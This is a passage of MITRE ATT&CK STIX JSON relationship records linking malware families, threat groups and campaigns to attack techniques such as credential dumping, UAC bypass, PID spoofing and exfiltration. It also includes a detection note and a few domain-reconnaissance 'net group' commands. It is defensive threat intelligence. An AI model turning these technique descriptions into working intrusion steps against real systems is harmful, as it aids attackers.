[PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, and Microsoft Outlook.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c241606f-e0e2-4179-8e8d-444fb1406df4","type":"relationship","created":"2019-01-29T19:18:28.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.718Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) has the option to compress its payload using UPX or MPRESS.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2480447-a55d-446e-8d62-88c6a4f08afb","type":"relationship","created":"2020-03-28T00:26:28.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","source_name":"Securelist Kimsuky Sept 2013"}],"modified":"2020-03-28T00:26:28.307Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has been observed disabling the system firewall.(Citation: Securelist Kimsuky Sept 2013)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c24808aa-a503-459a-b867-a44b55fbd6bf","created":"2024-05-22T20:43:07.675Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:43:07.675Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) is run as a Windows service in victim environments.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2496cf4-b502-44cf-ae85-efb9b882a4b1","created":"2020-06-29T03:27:51.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA ComRAT Oct 2020","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"},{"source_name":"ESET ComRAT May 2020","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:08:36.702Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has modified Registry values to store encrypted orchestrator code and payloads.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c253f0c5-1802-4853-b93f-c426d2a48fae","type":"relationship","created":"2021-06-21T18:07:57.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.509Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can enumerate processes running on a victim's machine.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2541365-58bd-474c-82ab-28c7b63e7fb8","type":"relationship","created":"2020-03-18T20:31:34.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2020-03-18T20:31:34.168Z","description":"[Helminth](https://attack.mitre.org/software/S0170) has checked for the domain admin group and Exchange Trusted Subsystem groups using the commands net group Exchange Trusted Subsystem /domain and net group domain admins /domain.(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c254bf89-3726-4c56-aae5-700c59427daf","type":"relationship","created":"2019-09-13T14:28:14.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-03-30T02:29:55.864Z","description":"[Machete](https://attack.mitre.org/software/S0409) stores zipped files with profile data from installed web browsers.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c257d040-c058-42db-ad75-1abb7b06e616","type":"relationship","created":"2020-11-06T19:01:02.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-06T19:01:02.254Z","description":"(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c25bdab1-7304-41f8-99f7-299c7f2fdcbd","created":"2022-03-30T14:26:51.864Z","x_mitre_version":"0.1","external_references":[{"source_name":"00sec Droppers","url":"https://0x00sec.org/t/super-stealthy-droppers/3715","description":"0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021."},{"source_name":"S1 Old Rat New Tricks","url":"https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/","description":"Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)","modified":"2022-04-20T00:01:49.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c26aa411-a68f-4093-b681-c899694cfa19","created":"2022-03-15T19:56:31.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.416Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has obtained exploit code for various CVEs.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c270ebd7-56e2-4ede-bd45-57da4a0065f2","created":"2021-03-15T15:20:25.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.143Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can add the executable flag to a downloaded file.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c2745621-0b03-4b9d-b2f7-4e3b80487f87","created":"2022-09-27T16:17:49.276Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:17:49.276Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used PowerShell on compromised systems.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c274d8fa-8de4-4108-9d6f-9229edf752af","created":"2022-10-10T16:30:08.208Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:30:08.208Z","description":"For [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors registered a variety of domains.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c27b0834-d1b8-440f-9b35-e15e78ecd715","created":"2020-03-19T23:50:06.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:40:01.702Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c27c2970-ae12-46a0-99f8-2aa9137a8de3","type":"relationship","created":"2021-09-29T20:46:38.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.426Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c27ce374-d022-4214-a5ad-206f48ffea8d","created":"2024-02-14T21:30:37.743Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:30:37.743Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) relies on parent PID spoofing as part of its \"rootkit-like\" functionality to evade detection via Task Manager or Process Explorer.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c27ceec5-2eaf-4b3b-8120-9fb691d6458b","type":"relationship","created":"2021-08-23T19:38:33.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-08-23T19:38:33.285Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) modifies several registry keys for persistence and UAC bypass.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c280ba3f-7210-4608-b895-d29932938fe7","type":"relationship","created":"2021-06-21T18:07:57.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.514Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has used SeDebugPrivilege and AdjustTokenPrivileges to elevate privileges.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c281bef6-624b-45c9-882d-ce05d4c05a50","created":"2024-07-17T20:00:54.303Z","revoked":false,"external_references":[{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-17T20:00:54.303Z","description":"[Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) utilized obfuscated JavaScript files for initial [Pikabot](https://attack.mitre.org/software/S1145) payload download.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--81e89fb4-8d07-4d8a-82f4-bf084f9d5d53","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c2888af5-ccdd-43f1-947c-1abd69272ec2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.675Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) can capture screenshots of the victim’s machine.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c28eced2-5070-4646-b178-22f4537124a4","type":"relationship","created":"2019-09-24T13:29:29.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.614Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can kill AV products' processes.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c2909563-2b7e-48d6-b165-05b8eff63862","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has collected data from remote systems by mounting network shares with net use and using Robocopy to transfer data.(Citation: PWC Cloud Hopper April 2017)","modified":"2022-07-20T20:07:40.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c29136ea-6925-4fc5-a281-b5351cef050d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"modified":"2019-04-24T23:55:43.451Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c291a0b4-31b5-4075-9672-b10b0e7bd4cc","type":"relationship","created":"2021-10-08T14:20:51.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T14:20:51.432Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) has compromised legitimate email accounts to use in their spearphishing operations.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c291bd7d-bf11-4be0-8d31-77055bb7675a","type":"relationship","created":"2020-07-16T15:23:48.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-23T16:50:06.786Z","description":"[Kessel](https://attack.mitre.org/software/S0487) can exfiltrate credentials and other information via HTTP POST request, TCP, and DNS.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c29450bf-20a4-47f8-8ef9-7c6559cfad75","created":"2024-08-08T18:07:21.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity 